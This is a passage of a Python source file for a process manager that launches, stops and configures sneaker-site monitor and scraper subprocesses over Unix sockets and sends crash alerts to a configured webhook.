        sock_paths = []  # type: List[str]

        # if it's from the monitors folder:
        if "monitors" in filename.split(os.path.sep):
            sockets = self.monitor_sockets
        elif "scrapers" in filename.split(os.path.sep):
            sockets = self.scraper_sockets
        else:
            self.general_logger.debug("File not useful.")
            return

        # we are interested in configs, whitelists, blacklists, webhooks
        if splits[-1] == "whitelists.json":
            cmd = COMMANDS.SET_SPECIFIC_WHITELIST
        elif splits[-1] == "configs.json":
            cmd = COMMANDS.SET_SPECIFIC_CONFIG
        elif splits[-1] == "blacklists.json":
            cmd = COMMANDS.SET_SPECIFIC_BLACKLIST
        elif splits[-1] == "webhooks.json":
            cmd = COMMANDS.SET_SPECIFIC_WEBHOOKS
        else:
            return

        # for every monitor socket
        for name in sockets:
            if name in j:
                sock_path = sockets[name]
                c = Cmd()
                c.cmd = cmd
                # send only the corresponding part to the monitor
                c.payload = j[name]
                commands.append(c)
                sock_paths.append(sock_path)

        # prepare to make all the async requests
        tasks = []
        for sock_path, command in zip(sock_paths, commands):
            tasks.append(self.make_request(sock_path, command))

        # send the requests
        responses = await asyncio.gather(*tasks)  # List[Response]

        for response in responses:
            if response.error.value:
                self.general_logger.warning(
                    f"Failed to update config: {response.error}"
                )

    async def on_server_stop(self):
        """
        Routine that runs on server stop. Shuts down the monitor manager
        """
        async with self._loop_lock:
            # stop the config watcher
            self.watcher.stop()
            self.watcher.join()

            if self.shutdown_all_on_exit:
                # get all the existing sockets
                sockets = []  # type: List[str]
                tasks = []
                for sockname in os.listdir(self.config["GlobalConfig"]["socket_path"]):
                    if sockname.startswith("Scraper.") or sockname.startswith(
                        "Monitor."
                    ):
                        cmd = Cmd()
                        cmd.cmd = COMMANDS.STOP
                        sockets.append(sockname)
                        self.general_logger.info(f"Stopping {sockname}...")
                        tasks.append(
                            self.make_request(
                                f"{self.config['GlobalConfig']['socket_path']}{os.path.sep}{sockname}",
                                cmd,
                            )
                        )

                # send request to stop
                responses = await asyncio.gather(*tasks)  # type: List[Response]

                for sockname, r in zip(sockets, responses):
                    # if an error happened...
                    if r.error.value:
                        # if the socket was not used remove it
                        if r.error == ERRORS.SOCKET_COULDNT_CONNECT:
                            os.remove(
                                os.path.sep.join(
                                    [
                                        self.config["GlobalConfig"]["socket_path"],
                                        sockname,
                                    ]
                                )
                            )
                            self.general_logger.info(
                                f"{self.config['GlobalConfig']['socket_path']}{os.path.sep}{sockname} was removed because unavailable"
                            )
                        # else something else happened, dont do anything
                        else:
                            self.general_logger.warning(
                                f"Error occurred while attempting to stop {sockname}: {r.error}"
                            )
                    # ok
                    else:
                        self.general_logger.info(f"{sockname} was successfully stopped")

        self._asyncio_loop.stop()
        self.general_logger.info("Shutting down...")
        return okResponse()

    async def check_status(self):
        """Main MonitorManager loop. Every second it checks its monitored processes and looks if they are still alive, possibly reporting any exit code"""
        while True:
            async with self._loop_lock:
                new_monitor_processes = {}
                for class_name in self.monitor_processes:
                    monitor = self.monitor_processes[class_name]["process"]
                    if monitor.poll() is not None:
                        log = f"Monitor {class_name} has stopped with code: {monitor.returncode}"
                        if monitor.returncode:
                            self.general_logger.warning(log)
                            if self.config["WebhookConfig"]["crash_webhook"]:
                                embed = get_mm_crash_embed(
                                    "Monitor " + class_name,
                                    monitor.returncode,
                                    monitor.pid,
                                )
                                ts = datetime.now().strftime(
                                    self.config["WebhookConfig"]["timestamp_format"]
                                )

                                embed.set_footer(
                                    text=f"{self.config['WebhookConfig']['provider']} | {ts}",
                                    icon_url=self.config["WebhookConfig"][
                                        "provider_icon"
                                    ],
                                )
                                data = json.dumps(
                                    {
                                        "embeds": [embed.to_dict()],
                                        "username": "MonitorManager process watcher",
                                        "avatar_url": self.config["WebhookConfig"][
                                            "provider_icon"
                                        ],
                                    }
                                )
                                r = await self.client.fetch(
                                    self.config["WebhookConfig"]["crash_webhook"],
                                    method="POST",
                                    body=data,
                                    headers={"content-type": "application/json"},
                                    raise_error=False,
                                )
                        else:
                            self.general_logger.info(log)
                    else:
                        new_monitor_processes[class_name] = self.monitor_processes[
                            class_name
                        ]
                self.monitor_processes = new_monitor_processes

                new_scraper_processes = {}
                for class_name in self.scraper_processes:
                    scraper = self.scraper_processes[class_name]["process"]
                    if scraper.poll() is not None:
                        log = f"Scraper {class_name} has stopped with code: {scraper.returncode}"
                        if scraper.returncode:
                            self.general_logger.warning(log)
                            if self.config["WebhookConfig"]["crash_webhook"]:
                                embed = get_mm_crash_embed(
                                    "Scraper " + class_name,
                                    scraper.returncode,
                                    scraper.pid,
                                )
                                ts = datetime.now().strftime(
                                    self.config["WebhookConfig"]["timestamp_format"]
                                )

                                embed.set_footer(
                                    text=f"{self.config['WebhookConfig']['provider']} | {ts}",
                                    icon_url=self.config["WebhookConfig"][
                                        "provider_icon"
                                    ],
                                )
                                data = json.dumps(
                                    {
                                        "embeds": [embed.to_dict()],
                                        "username": "MonitorManager process watcher",
                                        "avatar_url": self.config["WebhookConfig"][
                                            "provider_icon"
                                        ],
                                    }
                                )
                                r = await self.client.fetch(
                                    self.config["WebhookConfig"]["crash_webhook"],
                                    method="POST",
                                    body=data,
                                    headers={"content-type": "application/json"},
                                    raise_error=False,
                                )
                        else:
                            self.general_logger.info(log)
                    else:
                        new_scraper_processes[class_name] = self.scraper_processes[
                            class_name
                        ]
                self.scraper_processes = new_scraper_processes
            await asyncio.sleep(1)

    async def on_add_monitor(self, cmd: Cmd) -> Response:
        r = badResponse()
        success, missing = cmd.has_valid_args(self.add_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            db_monitor = self.register_db["monitors"].find_one(
                {"name": payload["name"]}
            )
            if db_monitor:
                success, reason = await self.add_monitor(db_monitor["path"], payload)
                if success:
                    r = okResponse()
                else:
                    r.error = ERRORS.MM_COULDNT_ADD_MONITOR
                    r.info = reason
            else:
                r.error = ERRORS.MONITOR_NOT_REGISTERED
                r.info = f"Tried to add monitor {payload['name']} but it was not found in the db. Did you start it at least once manually?"
        else:
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"Missing arguments: {missing}"
        return r

    async def on_add_scraper(self, cmd: Cmd) -> Response:
        r = badResponse()
        success, missing = cmd.has_valid_args(self.add_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            db_scraper = self.register_db["scrapers"].find_one(
                {"name": payload["name"]}
            )
            if db_scraper:
                success, reason = await self.add_scraper(db_scraper["path"], payload)
                if success:
                    r = okResponse()
                else:
                    r.error = ERRORS.MM_COULDNT_ADD_SCRAPER
                    r.info = reason
            else:
                r.error = ERRORS.SCRAPER_NOT_REGISTERED
                r.info = f"Tried to add scraper {payload['name']} but it was not found in the db. Did you start it at least once manually?"
        else:
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"Missing arguments: {missing}"

        return r

    async def on_add_monitor_scraper(self, cmd: Cmd) -> Response:
        r = Response()
        cmd1 = cmd
        cmd2 = copy.copy(cmd)
        cmd2.payload = copy.deepcopy(cmd1.payload)
        r1, r2 = await asyncio.gather(
            self.on_add_monitor(cmd1), self.on_add_scraper(cmd2)
        )
        r.error = (
            ERRORS.OK
            if not r1.error.value and not r2.error.value
            else ERRORS.MM_COULDNT_ADD_MONITOR_SCRAPER
        )
        r.info = f"Monitor: {r1.error.name}, Scraper: {r2.error.name}"
        if r.error.value and r.error:
            self.general_logger.warning(f"Couldn't add monitor and scraper")
            kekmonitors.utils.tools.dump_error(self.general_logger, r)

        return r

    async def on_stop_monitor(self, cmd: Cmd) -> Response:
        r = badResponse()
        success, missing = cmd.has_valid_args(self.stop_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            socket = f"{self.config['GlobalConfig']['socket_path']}/Monitor.{payload['name']}"
            command = Cmd()
            command.cmd = COMMANDS.STOP
            self.general_logger.debug(f"Sending STOP to {socket}...")
            r = await self.make_request(socket, command)
            self.general_logger.debug(f"Sent STOP to {socket}")
        else:
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"Missing arguments: {missing}"
        return r

    async def on_stop_scraper(self, cmd: Cmd) -> Response:
        r = badResponse()
        success, missing = cmd.has_valid_args(self.stop_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            socket = f"{self.config['GlobalConfig']['socket_path']}/Scraper.{payload['name']}"
            command = Cmd()
            command.cmd = COMMANDS.STOP
            self.general_logger.debug(f"Sending STOP to {socket}...")
            r = await self.make_request(socket, command)
            self.general_logger.debug(f"Sent STOP to {socket}")
        else:
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"Missing arguments: {missing}"
        return r

    async def on_stop_monitor_scraper(self, cmd: Cmd) -> Response:
        r = badResponse()
        success, missing = cmd.has_valid_args(self.stop_args)
        if success:
            r1, r2 = await asyncio.gather(
                self.on_stop_monitor(cmd), self.on_stop_scraper(cmd)
            )
            r.error = (
                ERRORS.OK
                if not r1.error.value and not r2.error.value
                else ERRORS.MM_COULDNT_STOP_MONITOR_SCRAPER
            )
            r.info = f"Monitor: {r1.error.name}, Scraper: {r2.error.name}"
            if r.error.value and r.error:
                self.general_logger.warning(f"Couldn't stop monitor and scraper")
                kekmonitors.utils.tools.dump_error(self.general_logger, r)
        else:
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"Missing arguments: {missing}"
        return r

    async def on_get_monitor_status(self, cmd: Cmd) -> Response:
        process_status = {}
        for class_name in self.monitor_processes:
            start = self.monitor_processes[class_name]["start"].strftime(
                "%m/%d/%Y, %H:%M:%S"
            )
            process_status[class_name] = {
                "Started at": start,
                "PID": self.monitor_processes[class_name]["process"].pid,
            }
        sockets_status = {}
        # for class_name in self.monitor_sockets:
        # sockets_status[class_name] = {class_name: self.monitor_sockets[class_name]}
        sockets_status = self.monitor_sockets
        response = okResponse()
        response.payload = {
            "monitored_processes": process_status,
            "available_sockets": sockets_status,
        }
        return response

    async def on_get_scraper_status(self, cmd: Cmd) -> Response:
        process_status = {}
        for class_name in self.scraper_processes:
            start = self.scraper_processes[class_name]["start"].strftime(
                "%m/%d/%Y, %H:%M:%S"
            )
            process_status[class_name] = {
                "Started at": start,
                "PID": self.scraper_processes[class_name]["process"].pid,
            }
        sockets_status = {}
        # for class_name in self.scraper_sockets:
        # sockets_status[class_name] = {class_name: self.scraper_sockets[class_name]}
        sockets_status = self.scraper_sockets
        response = okResponse()
        response.payload = {
            "monitored_processes": process_status,
            "available_sockets": sockets_status,
        }
        return response

    async def on_get_status(self, cmd: Cmd) -> Response:
        ms = await self.on_get_monitor_status(cmd)
        ss = await self.on_get_scraper_status(cmd)
        response = okResponse()
        msp = cast(Dict[str, Any], ms.payload)  # type: Dict[str, Any]
        ssp = cast(Dict[str, Any], ss.payload)  # type: Dict[str, Any]
        response.payload = {"monitors": msp, "scrapers": ssp}
        return response

    async def add_monitor(self, filename: str, kwargs: Dict[str, str]):
        class_name = kwargs.pop("name")

        if class_name in self.monitor_processes:
            self.general_logger.debug(
                f"Tried to add an already existing monitor ({class_name} ({filename}))"
            )
            return False, "Monitor already started."

        first_part_cmd = (
            f"nohup {sys.executable} {filename} --no-output --no-config-watcher"
        )

        args = []
        for key in kwargs:
            args.append(f"--{key} {kwargs[key]}")

        cmd = " ".join((first_part_cmd, *args))

        self.general_logger.debug(f"Starting {class_name} ({filename})...")
        monitor = subprocess.Popen(
            shlex.split(cmd), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        )

        await asyncio.sleep(2)  # wait to check if process is still alive

        if monitor.poll() is not None:
            success = False
            msg = f"Failed to start monitor {class_name} ({filename})"
            self.general_logger.warning(
                f"Tried to start {class_name} ({filename}) but failed"
            )
        else:
            self.general_logger.info(
                f"Added monitor {class_name} with pid {monitor.pid}"
            )
            self.monitor_processes[class_name] = {
                "process": monitor,
                "start": datetime.now(),
            }
            success = True
            msg = ""
        return success, msg

    async def add_scraper(self, filename: str, kwargs: Dict[str, str]):
        class_name = kwargs.pop("name")

        if class_name in self.scraper_processes:
            self.general_logger.debug(
                f"Tried to add an already existing scraper ({class_name} ({filename}))"
            )
            return False, "Scraper already started."

        first_part_cmd = (
            f"nohup {sys.executable} {filename} --no-output --no-config-watcher"
        )

        args = []
        for key in kwargs:
            args.append(f"--{key} {kwargs[key]}")

        cmd = " ".join((first_part_cmd, " ".join(args)))

        self.general_logger.debug(f"Starting {class_name} ({filename})...")
        scraper = subprocess.Popen(
            shlex.split(cmd), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        )

        await asyncio.sleep(2)  # wait to check if process is still alive

        if scraper.poll() is not None:
            success = False
            msg = f"Failed to start scraper {class_name} ({filename})"
            self.general_logger.warning(
                f"Tried to start {class_name} ({filename}) but failed"
            )
        else:
            self.general_logger.info(
                f"Added scraper {class_name} with pid {scraper.pid}"
            )
            self.scraper_processes[class_name] = {
                "process": scraper,
                "start": datetime.now(),
            }
            success = True
            msg = ""
        return success, msg

    async def on_get_monitor_config(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_CONFIG, True)

    async def on_set_monitor_config(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "configs.json", True)

    async def on_get_monitor_whitelist(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_WHITELIST, True)

    async def on_set_monitor_whitelist(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "whitelists.json", True)

    async def on_get_monitor_blacklist(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_BLACKLIST, True)

    async def on_set_monitor_blacklist(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "blacklists.json", True)

    async def on_get_monitor_webhooks(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_WEBHOOKS, True)

    async def on_set_monitor_webhooks(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "webhooks.json", True)

    async def on_get_scraper_config(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_CONFIG, False)

    async def on_set_scraper_config(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "configs.json", False)

    async def on_get_scraper_whitelist(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_WHITELIST, False)

    async def on_set_scraper_whitelist(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "whitelists.json", False)

    async def on_get_scraper_blacklist(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_BLACKLIST, False)

    async def on_set_scraper_blacklist(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "blacklists.json", False)

    async def on_get_scraper_webhooks(self, cmd: Cmd) -> Response:
        return await self.specific_config_getter(cmd, COMMANDS.GET_WEBHOOKS, False)

    async def on_set_scraper_webhooks(self, cmd: Cmd) -> Response:
        return await self.specific_config_setter(cmd, "webhooks.json", False)

    async def on_set_monitor_scraper_blacklist(self, cmd: Cmd) -> Response:
        return await self.common_config_setter(cmd, "blacklists.json")

    async def on_set_monitor_scraper_whitelist(self, cmd: Cmd) -> Response:
        return await self.common_config_setter(cmd, "whitelists.json")

    async def on_set_monitor_scraper_webhooks(self, cmd: Cmd) -> Response:
        return await self.common_config_setter(cmd, "webhooks.json")

    async def on_set_monitor_scraper_configs(self, cmd: Cmd) -> Response:
        return await self.common_config_setter(cmd, "configs.json")

    async def specific_config_getter(
        self, cmd: Cmd, command: COMMANDS, is_monitor: bool
    ):
        success, missing = cmd.has_valid_args(self.getter_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            c = Cmd()
            c.cmd = command
            r = await self.make_request(
                f"{self.config['GlobalConfig']['socket_path']}/{'Monitor' if is_monitor else 'Scraper'}.{payload['name']}",
                c,
            )
            return r
        else:
            r = badResponse()
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"{missing}"
            return r

    async def specific_config_setter(self, cmd: Cmd, filename: str, is_monitor: bool):
        success, missing = cmd.has_valid_args(self.setter_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            cp = os.path.sep.join(
                (
                    self.config["GlobalConfig"]["config_path"],
                    "monitors" if is_monitor else "scrapers",
                    filename,
                )
            )
            with open(
                cp,
                "r",
            ) as rf:
                f = json.load(rf)
            f[payload["name"]] = payload["payload"]
            with open(
                cp,
                "w",
            ) as wf:
                json.dump(f, wf)
        else:
            r = badResponse()
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"{missing}"
            return r

    async def common_config_setter(self, cmd: Cmd, filename: str):
        success, missing = cmd.has_valid_args(self.setter_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            cp = os.path.sep.join(
                (self.config["GlobalConfig"]["config_path"], "common", filename)
            )
            with open(
                cp,
                "r",
            ) as rf:
                f = json.load(rf)
            f[payload["name"]] = payload["payload"]
            with open(
                cp,
                "w",
            ) as wf:
                json.dump(f, wf)
        else:
            r = badResponse()
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"{missing}"
            return r

    async def on_get_scraper_shoes(self, cmd: Cmd) -> Response:
        success, missing = cmd.has_valid_args(self.getter_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            c = Cmd()
            c.cmd = COMMANDS.GET_SHOES
            r = await self.make_request(
                f"{self.config['GlobalConfig']['socket_path']}/Monitor.{payload['name']}",
                c,
            )
            return r
        else:
            r = badResponse()
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"{missing}"
            return r

    async def on_get_monitor_shoes(self, cmd: Cmd) -> Response:
        success, missing = cmd.has_valid_args(self.getter_args)
        if success:
            payload = cast(Dict[str, Any], cmd.payload)
            c = Cmd()
            c.cmd = COMMANDS.SET_SHOES
            r = await self.make_request(
                f"{self.config['GlobalConfig']['socket_path']}/Monitor.{payload['name']}",
                c,
            )
            return r
        else:
            r = badResponse()
            r.error = ERRORS.MISSING_PAYLOAD_ARGS
            r.info = f"{missing}"
            return r

if __name__ == "__main__":
    MonitorManager().start()